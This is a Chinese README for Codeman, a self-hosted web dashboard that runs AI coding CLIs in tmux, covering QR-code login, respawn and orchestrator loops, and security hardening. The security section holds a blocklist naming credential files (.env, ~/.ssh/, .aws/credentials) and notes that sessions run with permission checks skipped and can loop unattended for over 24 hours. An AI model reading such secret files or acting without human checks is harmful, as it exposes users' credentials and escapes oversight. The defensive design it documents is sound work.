该脚本会在缺失时自动安装 Node.js 和 tmux,把 Codeman 克隆到 `~/.codeman/app` 并完成构建。
你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai) 或 [Codex](https://developers.openai.com/codex/cli)(任意组合均可)。安装完成后:
```bash
codeman web
# 打开 http://localhost:3000,开启你的第一个会话
```
<details>
<summary><strong>作为后台服务运行</strong></summary>
**Linux(systemd):**
```bash
mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/codeman-web.service << EOF
[Unit]
Description=Codeman Web Server
After=network.target
[Service]
Type=simple
ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
Restart=always
RestartSec=10
[Install]
WantedBy=default.target
EOF
systemctl --user daemon-reload
systemctl --user enable --now codeman-web
loginctl enable-linger $USER
```
**macOS(launchd):**
```bash
mkdir -p ~/Library/LaunchAgents
cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.codeman.web</string>
<key>ProgramArguments</key>
<array>
<string>$(which node)</string>
<string>$HOME/.codeman/app/dist/index.js</string>
<string>web</string>
</array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>StandardOutPath</key>
<string>/tmp/codeman.log</string>
<key>StandardErrorPath</key>
<string>/tmp/codeman.log</string>
</dict>
</plist>
EOF
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
```
</details>
<details>
<summary><strong>Windows(WSL)</strong></summary>
```powershell
wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
```
Codeman 依赖 tmux,因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL:在管理员 PowerShell 中运行 `wsl --install`,重启,打开 Ubuntu,然后在 WSL 内安装你偏好的 AI 编程 CLI([Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai) 或 [Codex](https://developers.openai.com/codex/cli))。安装完成后,即可从 Windows 浏览器访问 `http://localhost:3000`。
</details>
---
## 移动端优化的 Web UI
在任意手机上都能获得最跟手的 AI 编程智能体体验。完整的 xterm.js 终端、本地回显、滑动导航,以及为真正的远程办公而设计的触控优化界面 —— 而不是把桌面 UI 硬塞进小屏幕。
<table>
<tr>
<td align="center" width="33%"><img src="docs/screenshots/mobile-landing-qr.png" alt="移动端 — 带二维码认证的登录页" width="260"></td>
<td align="center" width="33%"><img src="docs/screenshots/mobile-session-idle.png" alt="移动端 — 带键盘配件栏的空闲会话" width="260"></td>
<td align="center" width="33%"><img src="docs/screenshots/mobile-session-active.png" alt="移动端 — 活动中的智能体会话" width="260"></td>
</tr>
<tr>
<td align="center"><em>带二维码认证的登录页</em></td>
<td align="center"><em>键盘配件栏</em></td>
<td align="center"><em>智能体实时工作中</em></td>
</tr>
</table>
<table>
<tr>
<th>普通终端 App</th>
<th>Codeman 移动端</th>
</tr>
<tr><td>远程输入延迟 200–300 毫秒</td><td><b>本地回显 —— 即时反馈</b></td></tr>
<tr><td>字小、无上下文</td><td>完整 xterm.js 终端</td></tr>
<tr><td>无会话管理</td><td>滑动切换会话</td></tr>
<tr><td>无通知</td><td>审批 / 空闲时推送提醒</td></tr>
<tr><td>需手动重连</td><td>tmux 持久化</td></tr>
<tr><td>看不到智能体</td><td>实时查看后台智能体</td></tr>
<tr><td>斜杠命令靠复制粘贴</td><td>一键 <code>/init</code>、<code>/clear</code>、<code>/compact</code></td></tr>
<tr><td>在手机上手打密码</td><td><b>扫二维码 —— 即时认证</b></td></tr>
</table>
### 安全的二维码认证
在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码,手机即刻完成认证。
每个二维码编码的是一个包含 6 字符短码的 URL,该短码在服务端映射到一个 256 位密钥(`crypto.randomBytes(32)`)。令牌每 **60 秒**自动轮换,**首次扫描即原子性消费**(重放永远失败),并采用**基于哈希的 `Map.get()` 查找**,不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)(USENIX Security 2025,该研究发现 Top-100 网站中有 47 个存在漏洞)所指出的全部 6 个关键二维码认证缺陷:强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知(QRLjacking 检测),以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制(按 IP + 全局)使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见:[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
### 触控优化界面
- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令(`/clear`、`/compact`)需双击确认 —— 第一次点击「上膛」,第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
- **滑动导航** —— 在终端上左右滑动切换会话(阈值 80px,300ms)
- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移(使用 `visualViewport` API,并对 iOS 地址栏漂移设置 100px 阈值)
- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`,丝滑流畅
```bash
codeman web --https
# 在手机上打开:https://<你的IP>:3000
```
> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`,或使用 [Tailscale](https://tailscale.com/)(推荐)—— 它提供私有网络,让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
---
## 实时智能体可视化
实时观看后台智能体工作。Codeman 监控智能体活动,将每个智能体显示在一个可拖拽的浮动窗口中,并用「黑客帝国」风格的动态连接线连回父会话。
<p align="center">
<img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
</p>
- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板,带实时活动日志,逐条展示每一次工具调用、文件读取与进度更新
- **连接线** —— 用动态绿色线条连接父会话与其子智能体,随智能体的产生与完成实时更新
- **状态与模型徽标** —— 绿色(活动)、黄色(空闲)、蓝色(已完成)指示,并以 Haiku/Sonnet/Opus 的颜色编码区分模型
- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化,标签徽标显示「AGENT」或「AGENTS (n)」计数
- **嵌套智能体** —— 支持 3 层层级(主会话 → 团队成员智能体 → 子-子智能体)
**智能体团队(Agent Teams)** —— 一等公民式支持 Claude Code 原生的多智能体团队(`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`)。`TeamWatcher` 轮询 `~/.claude/teams/`,将团队成员匹配到其主会话,并以实时子智能体窗口呈现,且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时,重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
---
## 零延迟输入叠加层
<p align="center">
<img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
</p>
远程访问你的编程智能体时(VPN、Tailscale、SSH 隧道),每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**,无论延迟多高,打字都感觉即时。
xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY,因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时,叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在,完全不受 Ink 持续重绘屏幕的影响(此前两次使用 `terminal.write()` 的尝试都失败了,因为 Ink 会破坏注入的缓冲区内容)
- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`,使叠加层文本与真实终端输出在视觉上无法区分
- **完整编辑** —— 退格、重打、粘贴(多字符)、光标跟踪,输入超过终端宽度时多行换行
- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
- **默认启用** —— 桌面端与移动端均可用,会话空闲或繁忙时都生效
> 已抽取为独立库:[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
---
## 重生控制器(Respawn Controller)
自主工作的核心。当智能体进入空闲,重生控制器会检测到,发送继续提示,循环执行上下文管理命令以获得全新上下文,然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
```
WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
```
- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
- **用量限额自动恢复**(*可选,默认关闭*)—— 当 Claude 因订阅用量限额而停止("You've hit your limit · resets 3pm")时,Codeman 会解析重置时间,等到限额刷新(外加 2 分钟安全缓冲)后自动关闭限额对话框并发送 `continue`,让通宵任务平稳跨过 5 小时窗口而不是停摆到早晨。可识别 Claude Code 各版本的全部限额消息格式;若仍受限会自动重试;计划在 Codeman 重启后依然生效;暂停期间会阻止重生循环,避免 `/clear` 清掉等待中的对话。在会话 Respawn 标签页顶部按会话启用
- **熔断器** —— 当 Claude 卡住时防止重生抖动(CLOSED → HALF_OPEN → OPEN 状态,跟踪连续无进展与重复错误)
- **健康评分** —— 0–100 健康分,分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
- **内置预设** —— `solo-work`(3s 空闲,60min)、`subagent-workflow`(45s,240min)、`team-lead`(90s,480min)、`ralph-todo`(8s,480min)、`overnight-autonomous`(10s,480min)
---
## 编排器循环(Orchestrator Loop)
超越单会话重生,**编排器**把一个高层目标转化为分阶段计划,并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
- **先规划,后执行** —— 从你的目标生成分阶段计划,并在动手前暂停等待审批;可带反馈拒绝以重新生成
- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证;失败时编排器会重新规划而非一头扎下去
- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列,协调超出单会话能力的工作
- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下,可在重启后存续
- **可从 UI 或 API 驱动** —— 编排器面板,或 `POST /api/orchestrator/start` → `/approve` → `/status`(共 10 个端点)
> 与 Ralph(单会话自主循环)不同:编排器协调多阶段、多智能体执行。完整设计:[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
---
## 多会话仪表盘
运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航,以及一键管理。
<p align="center">
<img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
</p>
### 持久化会话
每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复,具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签,因此智能体不会杀掉自己的会话。
### 主机名感知的窗口标题
在多台主机上运行 Codeman(笔记本、开发机、NAS)?浏览器标签标题是 `codeman:<主机名>`,让你无需点进去就能分辨每个标签对应哪个后端:
```bash
codeman web # codeman:<os.hostname()>
codeman web --title-hostname dev-box # codeman:dev-box(用于覆盖嘈杂的主机名)
```
标题在首字节时就被模板化进所提供的 HTML 中,因此从第一帧绘制起就是正确的,且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式(`⚠️ (N) codeman:<host>`)和操作系统级桌面通知(`codeman:<host>: <事件>`),让系统通知中心里的跨主机提醒也不再含糊。
### 智能 Token 管理
| 阈值 | 动作 | 结果 |
|-----------|--------|--------|
| **110k tokens** | 自动 `/compact` | 上下文被摘要,工作继续 |
| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
### 通知
当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁,`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
### Ralph / Todo 跟踪
自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度(`4/9 complete`)以及迭代计数器(`[5/50]`),并提供实时进度环与已用时间跟踪。
<p align="center">
<img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
</p>
### 运行摘要(Run Summary)
点击任意会话标签上的图表图标,即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
### 零闪烁终端
基于终端的 AI 智能体(Claude Code 的 Ink、OpenCode 的 Bubble Tea)会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线,让所有会话都获得平滑的 60fps 输出:
```
PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js(60fps)
```
---
## 更多特性
- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新:它会检测最新发行版,自动暂存(stash)脏工作树,并在服务重启期间流式展示构建进度(npm 安装会被报告为不可更新)
- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode** 或 **Codex**;环境变量前缀自动隔离(`CLAUDE_CODE_*`、`OPENCODE_*` 与 `CODEX_*`)。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
- **Effort 与 Ultracode** —— 设置每会话的默认 effort(`low`–`max`),或启用 **ultracode**(动态多智能体工作流)。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
- **语音输入** —— 用 Deepgram Nova-3 口述提示(带 Web Speech API 回退):切换录音、自动静音停止、实时音量表(`Ctrl+Shift+V`)
- **图像输入** —— 直接把图片粘贴或拖放进会话
- **手势控制** *(可选)* —— 一个 MediaPipe 手部追踪叠加层,可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
- **多显示器横跨** *(macOS)* —— 一键打开一个横跨所有显示器最大化的浏览器窗口,让浮动的智能体/手势面板可以跨越物理拼接缝
- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀,使多主机配置不再含糊
---
## 远程访问 —— Cloudflare 隧道
使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/),从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
```
浏览器(手机/平板)→ Cloudflare 边缘(HTTPS)→ cloudflared → localhost:3000
```
**前置条件:** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
```bash
# 快速开始
./scripts/tunnel.sh start # 启动隧道,打印公网 URL
./scripts/tunnel.sh url # 显示当前 URL
./scripts/tunnel.sh stop # 停止隧道
./scripts/tunnel.sh status # 服务状态 + URL
```
脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址,每次隧道重启都会改变。
<details>
<summary><strong>持久隧道(重启后存续)</strong></summary>
```bash
# 启用为持久服务
systemctl --user enable codeman-tunnel
loginctl enable-linger $USER
# 或通过 Codeman Web UI:Settings → Tunnel → 切换为开
```
</details>
<details>
<summary><strong>认证</strong></summary>
1. 首次请求 → 浏览器弹出 Basic Auth 提示(用户名:`admin` 或 `CODEMAN_USERNAME`)
2. 成功后 → 服务端签发 `codeman_session` cookie(24 小时 TTL,活动时自动延长)
3. 后续请求通过 cookie 静默认证
4. 同一 IP 失败 10 次 → 429 速率限制(15 分钟衰减)
通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
</details>
### 二维码认证
在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码,手机即刻完成认证。无密码提示、无打字、无剪贴板。
```
桌面显示二维码 → 手机扫描 → GET /q/Xk9mQ3 → 服务端校验
→ 令牌原子性消费(一次性) → 签发会话 cookie → 302 跳转到 /
→ 桌面收到通知:「设备已通过二维码认证」 → 自动生成新二维码
```
只拿到裸隧道 URL(没有二维码)的人,仍会撞上标准密码提示。二维码是快速通道;密码是回退方案。
#### 工作原理
服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥(`crypto.randomBytes(32)`)和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针,而非密钥本身,因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
每 **60 秒**,服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**,以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的:手机一旦成功扫描,令牌就被原子性消费,并立即为桌面显示生成一个新的。
#### 安全设计
该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)(USENIX Security 2025),该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对:
| USENIX 缺陷 | 缓解措施 |
|-------------|------------|
| **缺陷 1**:缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
| **缺陷 2**:长生命周期令牌 | 60s TTL + 90s 宽限,由定时器自动轮换 |
| **缺陷 3**:可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
| **缺陷 4**:客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
| **缺陷 5**:缺少状态通知 | 桌面提示:*「设备 [IP] 已通过二维码认证(Safari)。不是你?[吊销]」* —— 实时 QRLjacking 检测 |
| **缺陷 6**:会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
#### 时序安全的查找
短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找,不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较,彻底消除了时序侧信道攻击。
#### 速率限制(双层)
二维码认证有自己的速率限制,与密码认证完全独立:
- **按 IP**:同一 IP 失败 10 次二维码尝试即触发 429 封锁(15 分钟衰减窗口)—— 与 Basic Auth 的失败计数器分开,因此打错密码不会消耗你的二维码额度
- **全局**:所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效,无论如何暴力破解都在计算上不可行
#### 二维码尺寸优化
URL 被刻意保持精简(`/q/` 路径 + 6 字符码 ≈ 53–56 个字符),以瞄准 **QR 版本 4**(33×33 模块)而非版本 5(37×37)。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节,仅此一项就足以决定二维码版本的差别。
#### 桌面体验
二维码显示每 60 秒通过 SSE 自动刷新,SVG 直接嵌入事件载荷(约 2–5KB)—— 无需额外 HTTP 请求,刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的(在你怀疑二维码被拍照时很有用)。
当有人通过二维码认证时,桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你,一键即可吊销所有会话。
#### 威胁覆盖
| 威胁 | 为何无效 |
|--------|-------------------|
| **二维码截图被分享** | 一次性:首次扫描即消费。60s TTL:攻击者动手前已过期。桌面通知会立即提醒你。 |
| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键,而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制,早在统计可行性之前就已拦截。 |
| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
#### 横向对比
| 平台 | 模型 | 对比 |
|----------|-------|------------|
| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman:一次性 + TTL + 通知 |
| **WhatsApp Web** | 手机确认「关联设备?」,约 60s 轮换 | 轮换相当;WhatsApp 额外加了显式确认(对单用户而言是可接受的取舍) |
| **Signal** | 临时公钥、端到端加密信道 | 加密更强,但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |
> 完整设计理由、安全分析与实现细节:[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
---
## 安全
Codeman 用 `--dangerously-skip-permissions` 启动会话,因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固(v0.9.0 + v0.9.5)封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型:[`docs/security-architecture.md`](docs/security-architecture.md)。
### 网络与访问
- **默认仅环回** —— 绑定 `127.0.0.1`,仅可从本机访问,因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*,并给出三个具体修复方案(设置密码、环回 + 一个带认证的隧道,或用 `--allow-unauthenticated-network` 显式确认)
- **可选认证,真实会话** —— 通过 `CODEMAN_USERNAME`(默认 `admin`)/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie(`randomBytes(32)`)—— 服务端校验,而非客户端签名,因此无法离线伪造(24h TTL、自动延长、设备上下文审计日志)
- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`(15 分钟衰减)。即便攻击者在同一 IP 上猛攻,有效 cookie 或正确密码也能*立即*恢复 —— 这很重要,因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
### 始终开启的浏览器加固(v0.9.5)
以下对**每个**请求都生效 —— 在认证之前,即便是默认的无密码环回安装:
- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许:`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道,以及 `CODEMAN_ALLOWED_HOSTS`(在此添加自定义反向代理域名 —— 逗号分隔;精确主机或前导点 `.suffix` 匹配子域名)
- **跨站 Origin / CSRF 防护。** 对变更状态的方法(`POST`/`PUT`/`PATCH`/`DELETE`),`Origin` 必须通过同一允许列表,否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许(因此 `curl`、CLI 与 Claude Code hook 仍可工作);只有存在但外来、或不透明的 `null` origin 才会被拒绝
- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析,封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查,失败时以代码 `4003` 关闭(反 CSWSH)
- **XSS 转义的智能体输出。** AI 衍生的字符串(工具名、命令参数、子智能体描述)在渲染进子智能体 / 活动面板前,于每个注入点都做 HTML 转义
### 输入、文件与响应头
- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查;一个 `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
- **路径限定** —— 文件路由在边界检查前先 `realpath`(无 TOCTOU);`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限:10 MB 文本预览 / 50 MB 原始与下载;`/api/download` 对敏感路径(`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`)做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供,因此会被下载而非执行
- **安全响应头** —— `Content-Security-Policy`(`default-src 'self'`,每个例外都逐条列举)、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS,以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
### 供应链与隔离
- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本;每次提交/PR 都检查锁文件完整性(所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希)。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字(`-L codeman-<name>`)与数据目录(`~/.codeman-<name>`),因此两个实例绝不会互相附着对方的活动会话
> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)(它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷)。
---
## SSH 替代方案(`sc`)
如果你更喜欢 SSH(Termius、Blink 等),`sc` 命令是一个便于拇指操作的会话选择器:
```bash
sc # 交互式选择器
sc 2 # 快速附着到会话 2
sc -l # 列出会话
```
单数字选择(1–9)、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
---
## 键盘快捷键
> Ctrl 绑定在 macOS 上也接受 Cmd。
| 快捷键 | 动作 |
|----------|--------|
| `Ctrl/Cmd+W` | 杀掉当前会话 |
| `Ctrl/Cmd+Tab` | 下一个会话 |
| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
| `Ctrl/Cmd+L` | 清屏 |
| `Ctrl+Shift+R` | 恢复终端尺寸 |
| `Ctrl+Shift+V` | 切换语音输入 |
| `Ctrl/Cmd +` / `-` | 字体大小 |
| `Ctrl/Cmd+?` | 键盘帮助 |
| `Shift+Enter` | 插入换行(发送到终端) |
| `Escape` | 关闭面板与模态框 |
---
## API
基于 Fastify 的 REST —— **15 个路由模块中约 140 个处理器**,外加一条 SSE 流和一条 WebSocket 终端通道。以下是一个有代表性的子集:
### 会话(Sessions)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/sessions` | 列出全部 |
| `POST` | `/api/quick-start` | 创建 case 并启动会话 |
| `DELETE` | `/api/sessions/:id` | 删除会话 |
| `POST` | `/api/sessions/:id/input` | 发送输入 |
### 重生(Respawn)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `POST` | `/api/sessions/:id/respawn/enable` | 启用,带配置与定时器 |
| `POST` | `/api/sessions/:id/respawn/stop` | 停止控制器 |
| `PUT` | `/api/sessions/:id/respawn/config` | 更新配置 |
### Ralph / Todo
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/sessions/:id/ralph-state` | 获取循环状态 + todos |
| `POST` | `/api/sessions/:id/ralph-config` | 配置跟踪 |
### 编排器(Orchestrator)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `POST` | `/api/orchestrator/start` | 从目标启动编排 |
| `POST` | `/api/orchestrator/approve` | 批准生成的计划 |
| `GET` | `/api/orchestrator/status` | 当前阶段 + 进度 |
| `POST` | `/api/orchestrator/stop` | 停止并清理 |
### 子智能体(Subagents)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/subagents` | 列出所有后台智能体 |
| `GET` | `/api/subagents/:id` | 智能体信息与状态 |
| `GET` | `/api/subagents/:id/transcript` | 完整活动记录 |
| `DELETE` | `/api/subagents/:id` | 杀掉智能体进程 |
### 系统(System)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/events` | SSE 流 |
| `GET` | `/api/status` | 完整应用状态 |
| `POST` | `/api/hook-event` | Hook 回调 |
| `GET` | `/api/system/update/check` | 检查新发行版 |
| `POST` | `/api/system/update` | 自更新(git-clone 安装) |
| `POST` | `/api/clipboard` | 把文本推送到所有已连接浏览器(`{text}`) |
| `GET` | `/api/sessions/:id/run-summary` | 时间线 + 统计 |
---
## 架构
```mermaid
flowchart TB
subgraph Codeman["CODEMAN"]
subgraph Frontend["前端层"]
UI["Web UI<br/><small>xterm.js + 智能体窗口</small>"]
API["REST API<br/><small>Fastify</small>"]
SSE["SSE 事件<br/><small>/api/events</small>"]
end
subgraph Core["核心层"]
SM["会话管理器"]
S1["会话 (PTY)"]
S2["会话 (PTY)"]
RC["重生控制器"]
ORC["编排器循环"]
end
subgraph Detection["检测层"]
RT["Ralph 跟踪器"]
SW["子智能体监视器<br/><small>~/.claude/projects/*/subagents</small>"]
TW["团队监视器<br/><small>~/.claude/teams/*</small>"]
end
subgraph Persistence["持久化层"]
SCR["Mux 管理器<br/><small>(tmux)</small>"]
SS["状态存储<br/><small>state.json</small>"]
end
subgraph External["外部"]
CLI["AI CLI<br/><small>Claude Code / OpenCode / Codex</small>"]
